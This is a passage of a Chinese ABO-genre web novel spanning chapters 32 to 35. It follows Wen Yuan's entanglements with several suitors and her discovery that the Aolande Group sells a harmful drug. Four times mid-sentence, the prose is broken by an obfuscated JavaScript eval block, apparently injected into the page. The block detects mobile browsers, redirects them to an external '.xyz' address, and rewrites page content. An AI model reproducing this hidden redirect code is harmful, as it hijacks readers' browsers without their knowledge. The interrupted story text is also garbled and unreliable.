是方鸣玉的味道。 张扬和乖戾中带着一点温情,正如冰冷醒神的薄荷味中翻涌着岩浆一样的炽热。 这种温度只有闻鸢能感受到。 气息洒在后颈,鸢尾花香溢出一点点,就被他立刻捕捉吞噬。 他有尖利的犬齿,磨在皮肤上的时候掀起一阵微弱的刺痒。 闻鸢闷闷地笑着,伸手摸了摸他的下巴,一个安抚又带着点示好的动作。 “对艾薇来说,利益就是一切。” 方鸣玉闭着眼睛,靠在闻鸢肩膀上,表情有些鄙夷。 “天天惦记着钱啊权的,这种人生好没意思。” 闻鸢把手掌贴在方鸣玉脸上,声音很平静,平静到几乎没有感情。 “可连一分钱都没有的人生,就是地狱啊。” 他忽而一顿,睁开眼睛。 闻鸢笑了一下,岔开话题道:“这么看来,约顿叛教,是为了和家里割席。” “估计当年他是被家族胁迫才联姻的。” “这样的话,所有事情都讲得通了。” 方鸣玉知道闻鸢很聪明,但从未想过她仅凭这一点额外信息就能推断出事情的原貌。 实在有些聪慧过头了。 她低头轻轻一笑,用丝绒般温暖的眼瞳包裹住他。 “说不定,艾薇以前还挺喜欢beta未婚夫的。” “你怎么知道?” “猜的。”她缓缓抱住方鸣玉,声音偌大的空间中显得缥缈。 “她向来看不起beta,却纡尊降贵和beta订婚。” “这大概是本世纪以来最感人的行为艺术了。” 方鸣玉听出了话里的讽刺之意,不禁失笑。 他拢住闻鸢的脊背,蝴蝶骨起伏的弧度在手下滑过。 “AO结合的确是主流,但不是所有的alpha都像她那样。” 女性beta柔软的身躯中透着一股韧劲,仿佛有一股源源不断的生命力从中涌出。 喉结无声滑动,他抬起眼睛,灰眸带着点试探和小心翼翼,“比如我,就很中意beta。” 像要立刻和艾薇之流划清界限,又像要迫不及待地表明立场。 朴素到近乎笨拙的剖白,透着股天真的执拗,连掩饰都显得拙劣。 “是吗?”闻鸢挑眉,指腹轻轻在他嘴唇上刮了一下。 “马后炮没用哦,第一次见面的时候,某人连个正眼都没给我。” 方鸣玉自知理亏,眨了眨眼,扭头嘟囔道:“我向来一视同仁。” 也倒是,太子爷只是平等地看不起任何人。 闻鸢耸了耸肩,从他身上站起来,跨过一地狼藉。 方鸣玉握住她的小腿,疑惑道:“去干嘛?” 炽热的温度贴在脚踝上方,闻鸢一边系好浴袍,一边抽空回答道:“去找抑制剂。” “抽屉里有。”手还在那个位置,甚至还上移了几分。 负距离接触之后,闻鸢才发现此男的黏人程度甚至不输泽诺。 他贪恋体温相贴的亲密,迷恋液体交融的黏腻,甚至无时无刻不在寻找机会,将这种渴望付诸实践。 闻鸢偶尔也会觉得厌烦,但她向来擅长克制。 只是忍耐往往成了纵容某人的温床。 打开抽屉,里面不只有抑制剂,还有很多见不得光的东西。 闻鸢看得头痛,拣了根抑制剂出来,再次望向方鸣玉时不免带点嫌弃意味。 “你爱收藏这些玩意儿?” 后颈传来一阵凉意,抑制剂被缓慢地注射到腺体中。 她动作熟稔利落,像给别人处理过无数次。 想到这里,方鸣玉眼神暗了暗,侧身去寻她的唇,却被她捏住了脖颈。 “别动,还没打完。”闻鸢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959969|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身后警告道,食指轻轻摁了摁alpha突出的喉结。 这招起了效果,方鸣玉跪坐在地毯上,稍稍伸长了脖颈,似乎是为了让她更稳地抓握住那块脆弱的地方。 “那些东西,是我前几天买的。” 他侧过脸,抿了抿唇,似乎有些难以启齿。 “我也不知道你喜欢哪种,所以都买了。” 闻鸢“嗯”了一声,把用完的抑制剂丢到垃圾桶里,疲惫中带着点冷酷。 “都不喜欢,扔了吧。” 真的没空陪你闹了。 咱玩点上得了台面的东西可以吗? 闻鸢叹了一口气,一把推开某人凑过来的俊脸,“我明天还要打工,今晚就到这里。” 由于客卧实在太凌乱,闻鸢被迫跟方鸣玉睡在主卧。 好在闻鸢比较有经验,不会因为床上多一个人就睡不着。 不过方鸣玉这厮天生火炉圣体,室内温度调太低导致闻鸢半夜不得不贴着他睡。 早上睁眼的时候她发现自己睡在他怀里,alpha的下巴还抵在她的额头上。 有一种让人起鸡皮疙瘩的温馨感。 男人的眼睫不自然地动了动,闻鸢翻了个白眼,毫不留情地用手指把他的眼皮撑开。 “你还要装睡到什么时候?” 方鸣玉没想到会是这种走向,苦笑着把她的手拿开,“你真是……唉……” 闻鸢没理她,火速起床收拾。 方鸣玉跑到厨房和面包机斗智斗勇,闻鸢盘着头发从主卧出来。 客厅里有股焦糊味,闻鸢瞄了厨房一眼,提醒道:“温度设太高了,调低一点。” 方鸣玉后知后觉地停下,“温度?温度在哪儿调?” “点一下那个三角形。”闻鸢从厨房顺了一片半成品吐司,叼着走到玄关处穿鞋。 “对了,听说你明天要去集训?” 方鸣玉的肩膀耷拉下来,他走到闻鸢面前,肉眼可见的垂头丧气。 “我把钥匙给你,平时你也可以到我家住。” “这次集训时间有点长,不过我会早点回来的。” 闻鸢努力压住上扬的嘴角,暗想他倒也不必那么归心似箭。 她象征性地给了方鸣玉一个安慰的亲吻,叮嘱道:“安心集训,不要分心。” 有时候,人与人的感情就是不能相通。 闻鸢表面伤感,内心狂喜。 连带着做实验的时候也多了几分活力。 X9试剂的实验进展得很顺利,她一边做着常规试验,一边规划着后续工作。 午休时,唐钰捧着手机,打探消息般地问道:“听说康泰医保要提高了赔付标准,是不是真的啊?” 闻鸢顿了顿,敏锐地感觉到这件事有些不对劲,便多问了几句:“从哪里看来的消息?” 唐钰把手机放到她面前,在众多明星花边新闻中,有一条“康泰医保拒赔率提高,母公司奥兰德集团发声”夹杂其间。 几个高管表面上宣称是盈利战略变动,但实际上明眼人都知道他们想要干什么。 评论底下很快有人开炮,指责公司不顾社会责任,压榨消费者。 这些评论很快就被封禁,连相应的词条都被挤下热搜。 闻鸢皱了皱眉,直觉告诉她,近期发生的几件大事似乎都有若隐若现的关联。 约顿和北境割席,导致艾薇与北境的利益输送中断,这才导致集团改变盈利策略。 艾薇和其他众多资本家并无不同,本质上都是逐利。 但这次她过于急躁了,以至于选了一个——在闻鸢看来——剑走偏锋的策略。 她凭借帮泽诺代课学来的经济学知识分析艾薇此举背后的逻辑,但总觉得不得要领。 思索间,手机振动了下。 那个私家侦探发来一条消息。 【Re:闻鸢女士 艾薇前未婚夫相关资料已找到。】 32. 第 32 章 说是相关资料,但也只附了一张照片和寥寥数语而已。 【陆璟,beta,与艾薇少时相识,关系亲密,据传从18岁时开始交往。 艾薇结婚后陆璟多次自伤,不久后病逝。艾薇并未出席葬礼。 (合照.jpg)】 合照有些模糊,但依稀能够看清人脸。 照片上,年轻的艾薇穿着一席黑色长裙,冰冷的脸庞上破天荒地带着一丝笑意。 陆璟贴着艾薇的肩膀站着,凤眸上挑,漂亮的眸子晕着淡淡的笑意。 他的脸庞让人一眼难忘,虽是beta,但生来就是浓墨重彩的美人,五官明艳得近乎锋利。 眉骨立体,眉色深浓,眼尾天生带着一段上扬弧度,张扬是从骨子里透出来的。 毫无疑问的浓颜系top级长相,还莫名眼熟。 没由来地,闻鸢想起一个人—— 裴昭明。 裴昭明和陆璟长得很像。 闻鸢眼皮跳了一下,脸上的肌肉近乎僵硬。 不妙,越想越不妙。 裴昭明拿的不会是菀菀类卿剧本吧? 这……能有几分像莞莞,也是他的福气。 不是!唉……这,这对吗? 这明显不对吧?!!! 给约顿干成牛头人了。 虽然对抗路夫妻貌合神离、恨不得每天给对方降龙十八掌,但平心而论,约顿罪不至此。 正宫还在,艾薇不能,至少不可以在婚姻存续期间干这种事。 否则这跟吃着碗里看着锅里的那类人有什么区别? 道德在哪里?底线在哪里?约会地址在哪里? 闻鸢定了心神,心里除了“天下乌鸦一般黑”的释然,更多的是“终于让我抓到把柄”的窃喜。 这一刻,她似乎看到卖身契正向她缓缓招手,而禁锢住她的牢笼在长久的腐蚀之下也出现了一丝松动。 天不生她鸢大头,牛马万古如长夜。 她啪啪几下,给对方发了一条消息。 【闻鸢:继续盯裴昭明。】 【名侦探赵四:可以,什么时候打尾款?】 【闻鸢:……等15号窝囊费到了就给你打。快到618了,优惠力度能不能大点?】 【名侦探赵四:亲亲,八五折已经是最大优惠了哈,我看你也是熟人介绍才给你打折的,你可以去打听下市场价。】 【闻鸢:彳亍口巴,但上次的照片好糊,看不清人脸。】 【名侦探赵四:抱歉呀,当时被小区的护卫犬盯上,裤子被咬破了,只能跑到树上拍,等了一晚上,终于拍到一张。 下次会尽力保证清晰度的。】 这下闻鸢是彻底没话说了。 她甚至有点愧疚。 牛马何苦为难牛马。 她默默点进赵四的暗网主页,给他打赏了10个星币。 那哥们的主页很活跃,隔三差五就晒几张流浪猫狗照片,估计也是在干活的时候随手抓拍的。 皮下似乎是个岁月静好的老实人? 但为什么不干点正常的工作? 想到这里,闻鸢顿了顿,眉眼间划过一丝无奈又自嘲的笑意。 为什么呢? 答案不是很明显吗? 那哥们儿难道不想吗? 就像天天吃拼好饭不等于喜欢吃,没人喜欢吃那种纯添加无天然的东西。 闻鸢也不喜欢,但她中午就点了一份。 因为最近联邦对有机食品加收了一笔消费税,导致食堂饭菜随之涨价。 得知这个消息的闻鸢跑到现任总统像前狠狠比了一个中指,并发誓以后绝不给保守派的骗子投票。 上缴的税款全部拿去给联邦打贸易战了,现在连个棉花娃娃都在涨价。 万恶的资本主义。 被资本做局的闻鸢悲痛地调配着试剂,连沈照走到她身边都没有发现。 “师姐……” “啊!” 闻鸢吓了一大跳,心虚地把X9实验报告盖上,却因慌乱不小心打碎了一瓶腐蚀性极强的化学清洗剂。 “小心!”沈照眼疾手快,一把拉住她的手腕。 闻鸢踉跄了几步,身体不稳,肩膀直直撞进沈照怀里。 “唔……”男人闷哼一声,双手拢住她的肩膀后撤几步,腰部抵到矮柜上。 闻鸢失了重心,又不敢在他身上乱碰,只好穿过他的腰,手掌撑到矮柜上,这才堪堪稳住身形。 地上满是玻璃碎片,残留的液体冒出阵阵白烟,战况惨烈,但幸好二人都没有受伤。 不过闻鸢本人却尴尬得脚趾扣地,因为二人的姿势极其糟糕。 沈照半靠在矮柜上,向来理智冷静的黑瞳中漫上慌张和无措。 他向来礼貌克制,在拉扯过程中一边兼顾闻鸢的安全,一边努力后仰,保证正常的社交距离。 闻鸢一再逼近,他一再退让。 于是就造成了现在的情况: 闻鸢撑着他身后的矮柜,膝盖挤进他双腿之间,他毫无退路,像被禁锢在了一方狭小的空间中,避无可避。 闻鸢僵直着身体,不敢抬头,因为她此刻已经红温了。 二人僵持许久,直到沈照出声,声音低哑,“师姐,你还好吗?” 不好,微死40%。 闻鸢若无其事地起身,整理了一下并无褶皱的衣领,“抱歉,没站稳。” “嗯,没事。” 感觉到自己发烫的耳尖,沈照垂下眼,手指一根根地放开闻鸢的肩膀,动作有些不自然。 他直起身,没敢看闻鸢一眼,只是掩耳盗铃地盯着地上的试剂说道:“剩下的事我来处理吧。” 闻鸢点头,然后二人陷入了一阵诡异的沉默。 碎玻璃被哗啦啦地倒进垃圾桶,沈照面色如常地清理。 闻鸢喝了口水,没话找话道:“你最近怎么没来实验室?” 沈照一顿,黑色的眸子闪过试探,“我以为师姐知道原因。” 他清俊的侧脸棱角分明,眼尾带着一颗黑色的小痣,眼眸含笑的时候,周身冰霜全部融化,露出温和又无害的底色。 这是可以说的吗? 闻鸢战术喝水,一时间拿不定他话里的意思,只能推拉道:“我知道一点儿,但应该不是全部。” 要论起来,那天的乌龙全责在沈照,作为被强吻的一方,闻鸢没有碰瓷,没有勒索,更没有吵架,只是遵循三个不主动原则—— 不主动提起,不主动询问,不主动交流。 经验告诉她,逃避可耻但100%管用。 可惜她遇到了沈照。 此男只是微微一笑,根本不按套路出牌。 “是吗?那我可以理解为,师姐并不在意?” 他的声音依旧平缓,但平和的声线之下却暗流涌动。 光线打在他苍白的侧脸上,纯黑的眼珠一转,视线落在闻鸢身上,混杂着某种复杂的情感,冰冷又炽热。 冰火两重天原来并不是夸张,而是写实。 闻鸢头皮发麻,手指捏紧水杯,向来巧舌如簧的她也失去了巧言令色的能力。 如何在拒绝纯情男大的同时不影响二人的同门情谊? 考虑到此男还握着她的把柄,直白又生硬的拒绝当然不可行。 继续使用推拉大法? 也不知道沈照吃不吃这一套。 她盘算着,丝毫没看到沈照的表情一变再变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968289|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由最初的阴翳到无奈,最后则是释然。 皱起的眉心被温热的手指一点,沈照放大的俊脸出现在她眼前。 他的鼻梁很高,眉骨深邃,长长的睫毛下,一双纯黑的眸子如同某种脆弱又珍贵黑玉。 脸很冷,但手掌是热的,甚至有些滚烫。 他的眼神很复杂,爱怜又迷恋,脆弱和痛苦一闪而过。 “我让你为难了吗?” “抱歉,我本意绝非如此。” “你不必字斟句酌,说些好听的话来安慰我。” “在我面前,你不用这么累。” “我希望你开心,希望你按照自己的意愿行事。” 闻鸢懵了,抬起头缓慢地眨了眨眼,心底涌起一阵怪异的、接近于呕吐的欲望。 很陌生的情绪,像是被人短暂地呵护了一下。 自她老爸过世后,她就很少再体会到被人呵护、珍视的感觉。 就像悬浮在空中的人第一次有了接触地面的实感。 沈照把一盒试剂递给她,“从储药室拿来的,你的实验应该会用到。放心用,不会查到你身上,我保证。” 撕裂的感情让闻鸢起了一层鸡皮疙瘩,她愣愣地问道:“为什么?” 为什么帮她? 沈照并没有直接回答这个问题,只是偏头看她,温柔一笑,锋锐的棱角都显得柔和。 “师姐,我们现在是共犯了。” 共同的罪恶像一道无形的锁链,将二人牢牢地捆绑在一起,再难分离。 那是比同门情谊更深的羁绊。 也是沈照所期待的。 这就是沈照,正人君子的外壳下裹着病态阴暗、时刻被爱煎熬着的灵魂。 数年后闻鸢才明白,拯救他灵魂的钥匙,早已被她握在手中。 教学楼的下课铃响起,背着书包的学生夺门而出,闻鸢看见沈照的背影在人群中若隐若现,最后消失不见。 剩下的日子按部就班地过,如同一潭死水。 两个月后,数据结果出来了。 奥兰德集团的X9修复剂有强烈的副作用,使用后寿命会缩短。 而他们上传的临床测试则表明产品基本无害,但相关数据却存在多处错误。 一开始,闻鸢很好奇,为什么这样的药物仍然流通在市场上。 直到她发现,大部分的药物都被应用在了肿瘤科。 需求大,不可控,不容易追责。 致死原因究竟是疾病恶化还是药物作用? 很少有人能区分出来。 这就是答案。 冷血、毫无人性。 但从资本家的角度来说,干这种杀千刀的事简直比呼吸还容易。 闻鸢说不上是什么感觉,只觉得很气愤,她有点累,但更多的是力不从心。 纵然她知道奥兰德集团还有很多类似的魔鬼,但她毕业以后仍旧要为魔鬼头子效命,为她的剥削大业添砖加瓦。 真他爹的可笑。 “闻鸢,你喝醉了。” 五彩斑斓的灯光打在裴昭明妍丽的脸上,像给他镀了一张假面。 闻鸢往沙发上一靠,脚尖不小心踢倒了很多酒瓶。 她的声音沙哑,语调黏腻慵懒,“醉了吗?或许吧。” 萨克斯的乐音如同绸缎,裹着微醺的醉意,流淌出本世纪所有的奢靡和繁华。 在温柔的电子萤火里,裴昭明的脸虚幻得如同带着色彩的阴影,忽明忽灭地靠近,靠近。 闻鸢扯过他的手腕,手指压向男人的肩膀,慢慢收紧,再收紧。 女人俯视着他,迎着他惊讶不解的神情,略带疲惫地问出那个问题—— “裴昭明,告诉我,你到底想要什么?” 33. 第 33 章 灯光昏暗,裴昭明微愣,敛下眉眼,嘴角勾起一个轻嘲的笑意。 “想要什么?” “以前在下城区的时候,我想要很多钱,盖一座不会漏雨的大房子,这样妈妈的旧伤就不会发作,晚上也能睡一个好觉。” “后来,我有了房子,但她已经不在我身边。” 他疲倦地阖上眼,妍丽得灼人的面庞像转瞬凋零的昙花。 手指轻轻贴住闻鸢的后颈,二人鼻尖相对,相隔不过一寸有余。 这么近的距离,闻鸢能看到他眼角的细纹,被化妆品精致地掩盖,但也难逃岁月和人事的煎熬,露出一点痕迹。 闻鸢安静地看着他,眼神并没有悲悯。 裴昭明不需要别人的悲悯。 但或许需要一些陪伴。 于是她轻轻捧住他的脸颊,像把一个溺水之人从混沌当中拯救出来。 “那现在呢?……现在的你想要什么?” 她的呼吸拂在他唇边,带着温热的触感,像冬夜里的炉火。 裴昭明睁开眼,瞳孔里映着闻鸢的影子。 他忽然笑了,笑得越深,眉头却蹙得越紧,仿佛有什么东西正从内里撕扯着他,将他的五脏六腑都绞成碎片。 “我不清楚……” 他的声音突然变得很轻,手指顺着她的发丝滑下,在即将触碰到她肩膀时又收了回来。 “这种话题,对我来说未免太过奢侈。” “一切都只是为了生存而已,没什么想不想的。” 他的睫毛轻颤着,在眼下投下一片阴翳,像是年久日深、无法消融的积雪。 “你知道了,对不对?” 闻鸢的指腹贴在他的眼尾,将他无意间渗出的眼泪轻轻擦拭干净。 “为什么要接近艾薇?她可不是善茬。” 闻鸢凝望着他,在等一个答案,但回应她的却是一片窒息的沉默。 裴昭明用那双漂亮的、如同烈火一般的眸子盯着闻鸢,随后抬头,与她额头相抵。 “恶虎相斗,豺狼在一旁伺机而动,或许会有意想不到的收获。” 他的身体好冷,如同下城区的冬日,连呼出的空气都带着刺骨的凉意。 酒劲上来了,面前虚影重重,连说话声都听不真切。 “艾薇很危险,你玩不过她。” 刚说完这句话,闻鸢扶着额头,像是终于支撑不住似的,弯下身体。 鼻尖在他怀里拱了拱,终于找到一个舒服的位置,便卸了力道,整个人埋入他怀中。 他立起身子,用外套把闻鸢拢住,木质香水带来柔和清爽的气息,稍微缓解了眩晕感。 “还说没醉。”他轻笑着,将闻鸢脸颊边的发丝耐心地拨到耳后。 房间里很静,静得能听见她均匀的呼吸声。 一动不动地看了她很久之后,他笨拙地将下巴抵在她发顶,收拢双臂将她更深地拥入怀中,却又惊醒般地松开一点力道,怕弄疼她。 隐没在黑暗中,他缓缓阖上双眼,声音里沉淀着经年累月的倦意。 “如果没遇到你就好了。” 这样就不会心动,也不会痛苦,只需要麻木地活着。 可偏偏命运让他尝到了温暖的滋味,又残忍地提醒他:你终究要回到那片永夜中去。 睡梦中的闻鸢不知道裴昭明抱着她枯坐了一整晚。 她只记得脑子里走马观花地闪过了小时候的画面,最后定格在一双孤独又倔强的眼睛上。 她想起第一次遇见裴昭明。 一群大孩子将他团团围住,撕打推搡中夹杂着污言秽语,不堪入耳。 他们说他是孽种,是贱|货,是渣滓。 他们要裴昭明下跪赔罪,因为裴昭明污了他们的眼。 裴昭明站在人群中心,瘦弱的身躯如同一支干枯的竹节。 他的腿被打弯过几次,但他踉跄地从地上爬起来,用那双阴冷的眸子盯住施暴者,几乎将他们盯得脊背发毛。 闻鸢叫来道德老师处理,几人很快被拉开。 裴昭明的膝盖磕破了一个大窟窿,脸上多处淤青,而对方的手臂被他咬出几个大洞,被送到医院缝针。 从此没人敢惹他。 所有人都怕他,说他孤僻,说他暴力,说他阴暗,只有闻鸢不怕,还想跟他交朋友。 裴昭明因为和人打架罚站,闻鸢就偷跑出来,站在他身旁。 瘦弱的男孩转头盯着这位不速之客,声音冷淡,脸颊还带着一道未痊愈的伤口。 “你干什么?” 闻鸢双臂交叉,对他挤了挤眼睛,回答得理所当然,“跟你一起罚站啊!” 他愣了一下,表情闪过一丝疑惑和不解,然后是极度的警惕。 “我是说你为什么站在这里?”他拧眉问道,语气有点恶狠狠的。 闻鸢当时正和打结的马尾辫斗智斗勇,听到他这么说,一屁股坐在地上,然后有商有量地对他说道:“那我坐着总行了吧。” 裴昭明没见过这样的人,这下是彻底没招了,表情凝固在那里,惹得闻鸢哈哈大笑。 他有点难为情地转过头,站得离她远了些,但他挪一步,闻鸢也挪一步。 实在受不了了,他提高了音量,转头命令道:“别跟着我!” 闻鸢的嗓门比他更大,带着死皮赖脸的姿态,“我偏不!就跟!就跟!” 裴昭明是一个有原则的孩子,别人打他,他就打回去。 但闻鸢招惹他,他总不能招惹回去。 他没那个闲工夫。 于是他默许了闻鸢的存在,谁知闻鸢蹬鼻子上脸,拉着他招猫逗狗,整天不干正事。 或者说,闻鸢负责不干正事,他负责帮她收拾烂摊子。 比如帮她投喂巷子里的流浪猫,帮她修好坏掉的铅笔盒,帮她写一字未动的作业……诸如此类。 裴昭明觉得自己怪得很,明明吃力不讨好,但他却乐意至极。 甚至干得很顺手。 因为闻鸢说他们是朋友。 至于为什么闻鸢会选择裴昭明做朋友,闻鸢想了一下,说了句:“因为我们两个都是孤独的人啊。” 裴昭明不知道那是什么理由。 闻鸢扯着自己的麻花辫,歪着头看他:“在遇见你之前,我也没有朋友哦。” “就像两片同时被吹入水里的落叶,离群索居,于是就自然而然地靠在了一起。” 可是流水会有尽头,相聚之后就是离别。 再次见面的时候,物是人非,连自己的面目都无法辨清,何况对方。 翌日,闻鸢坐在出租车内,脑袋的胀痛缓解了不少。 车窗玻璃上飞速闪过高耸的建筑和色彩缤纷的广告。 她疲倦地闭上眼,脑子里却闪过昨天晚上裴昭明打的哑谜。 果然如她猜想的那样,裴昭明接近艾薇另有所图,至于图的是什么,目前暂时可以排除泽诺后爸这个不伦角色。 因为他反复提到生存这一点,便足以证明裴昭明想要利用艾薇做成一件影响他命运的大事。 “恶虎相斗……” 艾薇在跟谁斗?陆家?北境?还是……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972853|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “欢迎收听今日新闻头条,康泰医保的拒赔率不断攀升,同比增长20.3%,对此,奥兰德集团发言人表示,会优化审核流程,在确保公司发展的同时,切实保障投保人的合法权益。” “还在这鬼扯呢?所谓的‘优化’,不过是把条款写得更晦涩。” 司机“啪”地一下,将收音机关掉,语气有些愤懑。 “天杀的,每年交进去那么多钱,赔偿的时候却不给赔了,这是什么道理?” 闻鸢完全理解他的愤怒,联邦的医疗费用贵得离谱,如果没有购买医保,一次小手术便足以让一家人背上贷款。 她原本以为艾薇看到激烈的反对声时便会收手,但却没想到她居然变本加厉。 汽车飞驰驶过奥兰德集团大厦,她瞥见零星有几个人聚集在门口,手上高举抗议牌。 很快,那些人就被保安驱逐。 出租车载着闻鸢回到长岛。 今日周六,闻鸢估摸着泽诺肯定会晚起,就趁他没醒之前回去换身衣服。 谁知刚走到二楼拐角,便迎面撞上了泽诺。 闻鸢吓得后退几步,手下意识地攥紧了风衣。 “早。” 泽诺穿着一身家居服,神情恹恹的,额前头发凌乱,眼底带着青黑,一看昨天就没少熬夜。 “你喝酒了?”他皱了皱鼻子,问道。 该死,这人长了个狗鼻子吗?隔这么远都能闻到。 泽诺见她支支吾吾地,立刻拉下脸质问道:“和谁喝的?” 闻鸢一激灵,随口撒了个谎,“自己去喝的,实验不太顺利,郁闷,喝酒发泄一下。” 看他脸色缓和了些许,闻鸢顺杆往上爬,“听说你今天要找赵琰去骑马,所以赶回来送你。” 靠,按照正常计划,她和泽诺今天就不应该碰面的,这下好了,不仅要给他当司机,到时候还得被赵琰祸害。 泽诺没什么反应,只是愣愣地盯着她,过了半晌之后,他吸了吸鼻子,一头扑到闻鸢怀里。 “昨天爸爸妈妈大吵了一架。” 他像是那种被娇养长大不知人间酸甜苦辣的天真少爷,因为爸妈大吵一架就跟别人抱怨自己的原生家庭有多么糟糕。 闻鸢轻车熟路地揉了揉他的后脑勺,一面庆幸自己昨天没回长岛,一面又好奇这对地雷夫妻究竟是怎么吵起来的,具体又吵了什么? “他们吵了什么?” 泽诺埋在闻鸢怀里,没出声,显得异常自闭。 闻鸢急得要命,恨不得当场魂穿泽诺。 泽诺靠在她怀里磨蹭了半晌,终于抬起头。 闻鸢盯着他,脸上没有宿醉的疲惫,全是吃瓜的狂喜。 谁知此男只是用手在鼻尖处扇了扇,幽幽地说了句:“你身上好臭。” 闻鸢:……给你一拳信不信? 他略带嫌弃地推开闻鸢,揉了揉眼睛,“全是酒味,难闻死了,先去洗澡。” 闻鸢笑了,脸上带着三分无奈,四分凉薄和一万分的窝囊。 她用尽全身力气控制面部表情,这使她看起来并不那么狰狞,但实际上还是流露出几分僵硬。 “好的,马上去。” 二人错身而过时,泽诺皱眉叫住了她,“等等。” 闻鸢转过身,“大少爷又怎……” 还没说完话,只见泽诺伸出两根手指,精准地从她肩膀处捻下一根头发丝。 纯黑色的、和闻鸢这种细软塌大相径庭的粗硬头发丝。 呵呵。 老裴,你也脱发吗?有点意思。 34. 第 34 章 泽诺像个得到关键证据的侦探一样,镊子般的两根手指夹着那根头发横到闻鸢面前。 “不是自己一个人吗?解释一下?” omega的脸色阴沉如水,蓝色的眼睛里闪着愤怒和狐疑,好像对方答错一句话就要跟她同归于尽。 此地雷男又要犯病了。 但没关系,兵来将挡水来土掩,闻鸢专业排雷数十年,手拿把掐,未尝败绩。 “的确是自己一个人,没骗你。”闻鸢将凌乱的衣领拉平,脸上连一丝慌张都没有。 “但后来我喝醉了,叫了别人来接我。” 骗人的精髓在于半真半假,全说假话有种吹牛皮的心虚,但假话里面套真话就显得真诚多了。 “谁来接你的?”泽诺捏紧拳头,嘴唇抿成一条直线。蓝眼睛一眨不眨地盯着闻鸢,似乎要从她的脸上看出某些破绽。 好问题。 撒谎也是一门学问。假如闻鸢提起裴昭明,说不定泽诺会顺藤摸瓜查到一些事情,后患无穷。 闻鸢只反应了不到一秒钟,便立马脱口而出道:“沈照,刚好他家就在附近。” 沈照是块砖,哪里需要哪里搬。 他似乎是再适合不过的人选,人很老实,听话得简直像家长从小夸到大的隔壁家的孩子。 这样一个老实本分的学弟送喝醉酒的学姐回家,泽诺应该很放心。 可闻鸢永远也不知道泽诺的关注点到底在哪里。 听到这个答案,他大为光火,拎起闻鸢的领子,一把将她推到墙上,声音尖得破了音。 “你宁肯找他也不打电话给我???” 虽然是omega,但在愤怒的加持下,他的力气也不小。 闻鸢的脊背被撞得生疼,墙壁上的浮雕压进蝴蝶骨,皮都被咯掉了一层。 她疼得发懵,还没来得及发怒,泽诺就先捏着她的下巴,强硬地仰头吻了上去。 与其说是吻,还不如说是唇齿之间的撕扯。 他的愤怒化作炽热的温度,像个被点燃的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977226|176809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雷一样砸向闻鸢。 强硬又鲁莽的唇齿挤占着每一寸空间,闻鸢被吻得无法呼吸,在双唇短暂分离的那一刹推开了泽诺的肩膀。 “你冷静点。”闻鸢皱着眉说道。 泽诺看着她,愤怒的蓝眼睛涌上一点微不可察的委屈,似乎下一秒就要落下泪来。 “最近为什么躲着我?”他的神色不见往日的傲慢和神气,紧皱的眉头明显地露出脆弱和不安。 闻鸢垂下眼,第一次发现泽诺原来如此敏锐。 她的沉默如同夜幕中的一支冷箭,将泽诺的心刺得鲜血淋漓。 拳头捏紧又再次放开,他的唇绷得发白,水雾漫过眼底,倒映出始作俑者的身影。 闻鸢看着那双天真的蓝眼睛在一瞬之间变得阴狠冷酷,慢慢地与艾薇相重合。 这是她最不想看到的事。 她叹了口气,声音很轻,带着无边的倦怠。 “泽诺,给我一点时间好不好?” “我真的好累好累。” 35. 第 35 章 当时闻鸢的目的非常明确,就是找一个全身名牌,黑衣黑裤,且书包上挂着幼稚玩偶的男性。 这种男性在其他学院一抓一大把,但幸好他跑到了经管院——潮人聚集地兼精英新手村。 这里的学生可谓是谈笑有老钱,往来无穷逼。 起手虽然不一定是高定西装,但故作松弛的紧绷感一定要拉满。 闻鸢抬着根钢管,怒气冲冲地走在一众香水间。 那些高奢豪氪玩家纷纷驻足扭头,时不时跟同伴蛐蛐一两句。 被饥饿控制大头的闻鸢已经不知天地为何物,只想找到外卖贼,和他来一场酣畅淋漓的中门对狙。 